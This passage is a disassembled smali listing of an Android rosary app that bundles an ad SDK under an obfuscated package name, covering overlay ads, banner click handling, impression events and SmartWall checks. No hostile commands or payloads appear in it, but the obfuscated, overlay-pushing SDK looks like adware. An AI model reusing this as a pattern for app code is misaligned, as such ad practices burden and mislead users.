12 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
15 | new-instance v1, Ljava/lang/StringBuilder; | |
17 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
19 | const-string v2, "" | |
21 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
22 | move-result-object v1 | |
24 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
25 | move-result-object v1 | |
27 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
28 | move-result-object v1 | |
30 | invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
32 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
34 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
35 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I | |
3 | move-result v1 | |
4 | if-lez v1, :cond_29 | |
5 | const/4 v3, 0x1 | |
7 | invoke-direct {p0, v3}, Lcom/vxjxu/jkhfn1870/AdView;->createAnimation(Z)Landroid/view/animation/Animation; |
|
8 | move-result-object v0 | |
9 | const/4 v2, 0x0 | |
10 | goto_c: if-ge v2, v1, :cond_29 | |
11 | if-eqz v0, :cond_26 | |
13 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
14 | move-result-object v3 | |
15 | if-eqz v3, :cond_26 | |
17 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
18 | move-result-object v3 | |
20 | invoke-virtual {v3, v0}, Landroid/view/View;->setAnimation(Landroid/view/animation/Animation;)V | |
22 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List; | |
24 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View; |
|
25 | move-result-object v4 | |
27 | invoke-interface {v3, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
28 | cond_26: add-int/lit8 v2, v2, 0x1 | |
29 | goto/16 :goto_c | |
30 | cond_29: return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "gravity" # I | |
1 | .prologue | |
2 | const/high16 v4, 0x42480000 # 50.0f | |
3 | new-instance v0, Landroid/widget/Button; | |
5 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
6 | move-result-object v2 | |
8 | invoke-direct {v0, v2}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V | |
9 | new-instance v1, Landroid/view/ViewGroup$LayoutParams; | |
10 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
11 | mul-float/2addr v2, v4 | |
12 | float-to-int v2, v2 | |
13 | iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
14 | mul-float/2addr v3, v4 | |
15 | float-to-int v3, v3 | |
17 | invoke-direct {v1, v2, v3}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V | |
19 | invoke-virtual {v0, p1}, Landroid/widget/Button;->setGravity(I)V | |
21 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
23 | invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setButtonBackground(Landroid/widget/Button;)V | |
24 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$1; | |
26 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
28 | invoke-virtual {v0, v2}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
29 | return-object v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "status" # I | |
1 | .param p2, "message" # Ljava/lang/String; | |
2 | .prologue | |
3 | if-eqz p2, :cond_a | |
5 | const-string v0, "" | |
7 | invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
8 | move-result v0 | |
9 | if-eqz v0, :cond_b | |
10 | goto_a: return-void | |
11 | cond_b: sparse-switch p1, :sswitch_data_4a | |
12 | goto/16 :goto_a | |
13 | sswitch_f: | |
14 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
15 | if-eqz v0, :cond_19 | |
17 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
19 | invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
20 | goto/16 :goto_a | |
21 | cond_19: | |
22 | const-string v0, "AirplayMraid" | |
24 | invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
25 | goto/16 :goto_a | |
26 | sswitch_1f: | |
27 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
28 | if-eqz v0, :cond_29 | |
30 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
32 | invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
33 | goto/16 :goto_a | |
34 | cond_29: | |
35 | const-string v0, "AirplayMraid" | |
37 | invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
38 | goto/16 :goto_a | |
39 | sswitch_2f: | |
40 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
41 | if-eqz v0, :cond_39 | |
43 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
45 | invoke-interface {v0, p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
46 | goto/16 :goto_a | |
47 | cond_39: | |
48 | const-string v0, "AirplayMraid" | |
50 | invoke-static {v0, p2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
51 | goto/16 :goto_a | |
52 | sswitch_3f: | |
53 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
54 | if-eqz v0, :cond_a | |
56 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
58 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->noAdAvailableListener()V | |
59 | goto/16 :goto_a | |
60 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "event" # Landroid/view/MotionEvent; | |
1 | .prologue | |
2 | const/4 v0, 0x1 | |
4 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I | |
5 | move-result v1 | |
6 | if-nez v1, :cond_42 | |
8 | const-string v1, "13" | |
10 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V |
|
12 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
13 | if-eqz v1, :cond_15 | |
15 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
17 | invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
18 | cond_15: | |
19 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z | |
22 | move-result v1 | |
23 | if-nez v1, :cond_35 | |
25 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
27 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z | |
28 | move-result v1 | |
29 | if-nez v1, :cond_35 | |
31 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
33 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z | |
34 | move-result v1 | |
35 | if-nez v1, :cond_35 | |
37 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
39 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z | |
40 | move-result v1 | |
41 | if-eqz v1, :cond_3c | |
42 | cond_35: iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isClicked:Z | |
44 | invoke-super {p0, p1}, Landroid/webkit/WebView;->dispatchTouchEvent(Landroid/view/MotionEvent;)Z | |
45 | move-result v0 | |
46 | goto_3b: return v0 | |
47 | cond_3c: | |
48 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
50 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->handleClicks()V | |
51 | goto/16 :goto_3b | |
52 | cond_42: | |
53 | invoke-super {p0, p1}, Landroid/webkit/WebView;->dispatchTouchEvent(Landroid/view/MotionEvent;)Z | |
54 | move-result v0 | |
55 | goto/16 :goto_3b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "event" # Ljava/lang/String; | |
1 | .prologue | |
2 | monitor-enter p0 | |
3 | try_start_1: monitor-enter p1 | |
4 | try_start_2: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isTestMode:Z | |
5 | if-eqz v1, :cond_e | |
7 | const-string v1, "Ad in test mode. Sending ignored." | |
9 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
10 | monitor-exit p1 | |
11 | goto_c: monitor-exit p0 | |
12 | return-void | |
13 | try_start_e: | |
14 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getContext()Landroid/content/Context; | |
15 | move-result-object v1 | |
17 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
18 | move-result v1 | |
19 | if-nez v1, :cond_20 | |
20 | monitor-exit p1 | |
21 | goto/16 :goto_c | |
22 | catchall_1a: move-exception v1 | |
23 | monitor-exit p1 | |
24 | try_end_1c: throw v1 | |
25 | catchall_1d: move-exception v1 | |
26 | monitor-exit p0 | |
27 | throw v1 | |
28 | cond_20: new-instance v0, Ljava/lang/Thread; | |
29 | new-instance v1, Lcom/vxjxu/jkhfn1870/ImageBanner$2; | |
31 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/ImageBanner$2;-><init>(Lcom/vxjxu/jkhfn1870/ImageBanner;Ljava/lang/String;)V | |
33 | const-string v2, "banner_event" | |
35 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
37 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
38 | monitor-exit p1 | |
39 | try_end_30: goto/16 :goto_c |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v2, 0x1 | |
2 | try_start_1: | |
3 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z | |
4 | move-result v2 | |
6 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
7 | const-class v4, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
9 | invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
10 | move-result v3 | |
11 | if-nez v3, :cond_23 | |
13 | const-string v0, "Required BrowserActivity not found in Manifest. Please add." | |
15 | const-string v3, "AirplaySDK" | |
17 | invoke-static {v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
19 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
20 | new-instance v3, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
22 | sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
23 | const/16 v5, 0x68 | |
25 | invoke-direct {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
26 | try_end_22: const/4 v2, 0x0 | |
27 | goto_23: return v2 | |
28 | catch_24: move-exception v1 | |
30 | const-string v3, "AirplaySDK" | |
32 | const-string v4, "Error occurred while validating SmartWall: " | |
34 | invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
35 | const/4 v2, 0x0 | |
36 | goto/16 :goto_23 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "errorCode" # I | |
2 | .param p3, "description" # Ljava/lang/String; | |
3 | .param p4, "failingUrl" # Ljava/lang/String; | |
4 | .prologue | |
5 | const/4 v0, 0x1 | |
6 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z | |
8 | invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
12 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
13 | move-result-object v0 | |
14 | if-eqz v0, :cond_17 | |
16 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
18 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
19 | move-result-object v0 | |
21 | invoke-interface {v0, p3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
22 | cond_17: | |
23 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
25 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1000(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/os/Handler; | |
26 | move-result-object v0 | |
27 | if-eqz v0, :cond_29 | |
29 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
31 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1000(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/os/Handler; | |
32 | move-result-object v0 | |
33 | const/4 v1, -0x4 | |
35 | invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z | |
36 | cond_29: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "event" # Ljava/lang/String; | |
1 | .prologue | |
2 | monitor-enter p1 | |
3 | try_start_1: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z | |
4 | if-eqz v1, :cond_c | |
6 | const-string v1, "Ad in test mode. Sending ignored." | |
8 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
9 | monitor-exit p1 | |
10 | goto_b: return-void | |
11 | cond_c: | |
12 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
13 | move-result-object v1 | |
15 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
16 | move-result v1 | |
17 | if-nez v1, :cond_1b | |
18 | monitor-exit p1 | |
19 | goto/16 :goto_b | |
20 | catchall_18: move-exception v1 | |
21 | monitor-exit p1 | |
22 | try_end_1a: throw v1 | |
23 | try_start_1b: new-instance v0, Ljava/lang/Thread; | |
24 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$6; | |
26 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$6;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Ljava/lang/String;)V | |
28 | const-string v2, "mraid_event" | |
30 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
32 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
33 | monitor-exit p1 | |
34 | try_end_2b: goto/16 :goto_b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "dialog" # Landroid/content/DialogInterface; | |
1 | .prologue | |
2 | if-eqz p0, :cond_18 | |
3 | try_start_2: | |
4 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
5 | if-eqz v1, :cond_15 | |
7 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
9 | invoke-virtual {v1}, Landroid/webkit/WebView;->stopLoading()V | |
11 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
13 | invoke-virtual {v1}, Landroid/webkit/WebView;->removeAllViews()V | |
15 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
17 | invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V | |
18 | cond_15: | |
19 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
20 | try_start_18: | |
21 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
23 | invoke-virtual {v1}, Landroid/app/Activity;->finish()V | |
24 | goto_1d: return-void | |
25 | catch_1e: move-exception v0 | |
27 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
29 | invoke-virtual {v1}, Landroid/app/Activity;->finish()V | |
30 | goto/16 :goto_1d | |
31 | catch_25: move-exception v1 | |
32 | goto/16 :goto_18 | |
33 | catch_27: move-exception v1 | |
34 | goto/16 :goto_18 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "errorCode" # I | |
2 | .param p3, "description" # Ljava/lang/String; | |
3 | .param p4, "failingUrl" # Ljava/lang/String; | |
4 | .prologue | |
6 | invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
10 | const-string v1, "89" | |
12 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V |
|
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler; | |
15 | if-eqz v0, :cond_1a | |
17 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler; | |
18 | const/16 v1, 0x8 | |
20 | invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z |
|
22 | const-string v0, "Error in ad loading." | |
24 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
25 | cond_1a: | |
26 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
27 | if-eqz v0, :cond_23 | |
29 | sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
31 | invoke-interface {v0, p3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
32 | cond_23: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v4, -0x2 | |
2 | iget v0, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
3 | const/16 v1, 0x3b | |
4 | if-ne v0, v1, :cond_8 | |
5 | goto_7: return-void | |
6 | cond_8: | |
7 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindowManager()Landroid/view/WindowManager; | |
8 | move-result-object v0 | |
10 | invoke-interface {v0}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display; | |
11 | move-result-object v0 | |
13 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
15 | invoke-virtual {v0, v1}, Landroid/view/Display;->getMetrics(Landroid/util/DisplayMetrics;)V | |
16 | new-instance v0, Lprsolutions/rosariofacileads/Player$SampleView; | |
18 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->coordinate:[Lprsolutions/rosariofacileads/Player$Coord; | |
19 | iget v2, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
20 | add-int/lit8 v3, v2, 0x1 | |
21 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
22 | aget-object v1, v1, v2 | |
24 | invoke-direct {v0, p0, p0, v1}, Lprsolutions/rosariofacileads/Player$SampleView;-><init>(Lprsolutions/rosariofacileads/Player;Landroid/content/Context;Lprsolutions/rosariofacileads/Player$Coord;)V | |
25 | new-instance v1, Landroid/view/ViewGroup$LayoutParams; | |
27 | invoke-direct {v1, v4, v4}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V | |
29 | invoke-virtual {p0, v0, v1}, Lprsolutions/rosariofacileads/Player;->addContentView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V | |
30 | goto/16 :goto_7 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
3 | const/4 v2, 0x1 | |
4 | try_start_1: | |
5 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
7 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$100(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z | |
8 | move-result v1 | |
9 | if-eqz v1, :cond_1f | |
11 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
13 | invoke-static {v1, p2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V | |
14 | try_end_e: return v2 | |
15 | catch_f: move-exception v0 | |
17 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
19 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
23 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
25 | iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
27 | invoke-virtual {v1}, Landroid/app/Activity;->finish()V | |
28 | cond_1f: | |
29 | invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V | |
30 | goto/16 :goto_e |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
3 | if-eqz v1, :cond_1a | |
5 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
7 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->stopLoading()V | |
9 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
11 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
13 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->removeView(Landroid/view/View;)V | |
15 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
17 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->removeAllViews()V | |
19 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
21 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->destroy()V | |
22 | try_end_1a: | |
23 | invoke-super {p0}, Landroid/app/Activity;->onDestroy()V | |
24 | return-void | |
25 | catch_1e: move-exception v0 | |
27 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
28 | goto/16 :goto_1a |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p2, "context" # Landroid/content/Context; | |
1 | .param p3, "_coord" # Lprsolutions/rosariofacileads/Player$Coord; | |
2 | .prologue | |
3 | iput-object p1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
5 | invoke-direct {p0, p2}, Landroid/view/View;-><init>(Landroid/content/Context;)V | |
6 | iput-object p3, p0, Lprsolutions/rosariofacileads/Player$SampleView;->coord:Lprsolutions/rosariofacileads/Player$Coord; | |
7 | new-instance v1, Landroid/graphics/Paint; | |
9 | invoke-direct {v1}, Landroid/graphics/Paint;-><init>()V | |
10 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint; | |
12 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint; | |
13 | const/4 v2, 0x1 | |
15 | invoke-virtual {v1, v2}, Landroid/graphics/Paint;->setAntiAlias(Z)V |
|
17 | invoke-virtual {p2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; | |
18 | move-result-object v1 | |
19 | const v2, 0x7f020017 | |
21 | invoke-virtual {v1, v2}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream; |
|
22 | move-result-object v0 | |
24 | invoke-static {v0}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap; | |
25 | move-result-object v1 | |
26 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mBitmap:Landroid/graphics/Bitmap; | |
27 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v4, Ljava/util/ArrayList; | |
